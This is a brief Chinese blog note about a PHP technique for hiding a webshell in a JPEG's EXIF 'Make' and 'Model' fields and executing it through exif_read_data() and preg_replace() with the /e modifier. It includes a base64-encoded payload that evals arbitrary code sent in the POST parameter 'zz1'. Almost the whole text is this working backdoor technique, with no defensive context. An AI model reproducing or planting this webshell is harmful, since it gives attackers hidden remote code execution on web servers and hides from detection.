分类: PHP
2013-10-08 13:53:25
exif_read_data() preg_replace() //把webshell隐藏在jepg的exif中,读出来替换。//$exif = exif_read_data('/123.jpg'); preg_replace($exif['Make'],$exif['Model'],'') //preg_replace ("/.*/e", ,"@ eval ( base64_decode("aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30=")));